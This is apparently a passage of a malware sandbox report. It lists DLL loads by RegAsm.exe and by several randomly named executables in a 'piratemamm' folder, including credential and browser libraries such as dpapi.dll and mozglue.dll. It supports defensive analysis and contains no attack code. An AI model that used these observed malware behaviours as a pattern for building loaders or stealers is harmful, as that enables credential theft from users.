Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\rFOuFGF_bpYT2mD72hQviWI6.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\rFOuFGF_bpYT2mD72hQviWI6.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\rFOuFGF_bpYT2mD72hQviWI6.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\rFOuFGF_bpYT2mD72hQviWI6.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\rFOuFGF_bpYT2mD72hQviWI6.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\rFOuFGF_bpYT2mD72hQviWI6.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\rFOuFGF_bpYT2mD72hQviWI6.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\rFOuFGF_bpYT2mD72hQviWI6.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\3Jzm4oFUgYkjO4kKSsY1bNEb.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\3Jzm4oFUgYkjO4kKSsY1bNEb.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\3Jzm4oFUgYkjO4kKSsY1bNEb.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\3Jzm4oFUgYkjO4kKSsY1bNEb.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\3Jzm4oFUgYkjO4kKSsY1bNEb.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\3Jzm4oFUgYkjO4kKSsY1bNEb.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\3Jzm4oFUgYkjO4kKSsY1bNEb.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\3Jzm4oFUgYkjO4kKSsY1bNEb.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\3Jzm4oFUgYkjO4kKSsY1bNEb.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\3Jzm4oFUgYkjO4kKSsY1bNEb.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\3Jzm4oFUgYkjO4kKSsY1bNEb.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\3Jzm4oFUgYkjO4kKSsY1bNEb.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\3Jzm4oFUgYkjO4kKSsY1bNEb.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\3Jzm4oFUgYkjO4kKSsY1bNEb.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\3Jzm4oFUgYkjO4kKSsY1bNEb.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\3Jzm4oFUgYkjO4kKSsY1bNEb.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\3Jzm4oFUgYkjO4kKSsY1bNEb.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\3Jzm4oFUgYkjO4kKSsY1bNEb.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\3Jzm4oFUgYkjO4kKSsY1bNEb.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\3Jzm4oFUgYkjO4kKSsY1bNEb.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\3Jzm4oFUgYkjO4kKSsY1bNEb.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\3Jzm4oFUgYkjO4kKSsY1bNEb.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\lDkIjEVcMx3R04EqAu4plnem.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\lDkIjEVcMx3R04EqAu4plnem.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\lDkIjEVcMx3R04EqAu4plnem.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\lDkIjEVcMx3R04EqAu4plnem.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\lDkIjEVcMx3R04EqAu4plnem.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\lDkIjEVcMx3R04EqAu4plnem.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\lDkIjEVcMx3R04EqAu4plnem.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\tmR_9dCV10b0GIVf60jpdpDG.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\tmR_9dCV10b0GIVf60jpdpDG.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\7DyzwtKyuY4CtD_VmEPX58OX.exe	Section loaded: mscoree.dll
Source: C:\Users\user\Documents\piratemamm\7DyzwtKyuY4CtD_VmEPX58OX.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Documents\piratemamm\7DyzwtKyuY4CtD_VmEPX58OX.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Documents\piratemamm\7DyzwtKyuY4CtD_VmEPX58OX.exe	Section loaded: version.dll
Source: C:\Users\user\Documents\piratemamm\7DyzwtKyuY4CtD_VmEPX58OX.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\Documents\piratemamm\7DyzwtKyuY4CtD_VmEPX58OX.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\Documents\piratemamm\7DyzwtKyuY4CtD_VmEPX58OX.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe	Section loaded: version.dll
Source: C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe	Section loaded: shfolder.dll
Source: C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe	Section loaded: wldp.dll
Source: C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe	Section loaded: propsys.dll
Source: C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe	Section loaded: profapi.dll
Source: C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe	Section loaded: edputil.dll
Source: C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe	Section loaded: urlmon.dll
Source: C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe	Section loaded: netutils.dll
Source: C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe	Section loaded: appresolver.dll
Source: C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe	Section loaded: slc.dll
Source: C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe	Section loaded: userenv.dll
Source: C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe	Section loaded: sppc.dll
Source: C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Section loaded: mscoree.dll
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Section loaded: version.dll
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Section loaded: wldp.dll
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Section loaded: profapi.dll
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Section loaded: amsi.dll
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Section loaded: userenv.dll
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Section loaded: msasn1.dll
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Section loaded: gpapi.dll
Source: C:\Users\user\Documents\piratemamm\0QrWpVvJO2zQ0CVHYo3FGItE.exe	Section loaded: mscoree.dll
Source: C:\Users\user\Documents\piratemamm\0QrWpVvJO2zQ0CVHYo3FGItE.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Documents\piratemamm\0QrWpVvJO2zQ0CVHYo3FGItE.exe	Section loaded: version.dll
Source: C:\Users\user\Documents\piratemamm\0QrWpVvJO2zQ0CVHYo3FGItE.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\Documents\piratemamm\0QrWpVvJO2zQ0CVHYo3FGItE.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\Documents\piratemamm\0QrWpVvJO2zQ0CVHYo3FGItE.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\Documents\piratemamm\0QrWpVvJO2zQ0CVHYo3FGItE.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Documents\piratemamm\U6y3wrWv6W7x1LKCsdmr6zZR.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntmarta.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mozglue.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wsock32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msvcp140.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: propsys.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: edputil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wintypes.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: appresolver.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: slc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sppc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: pcacli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
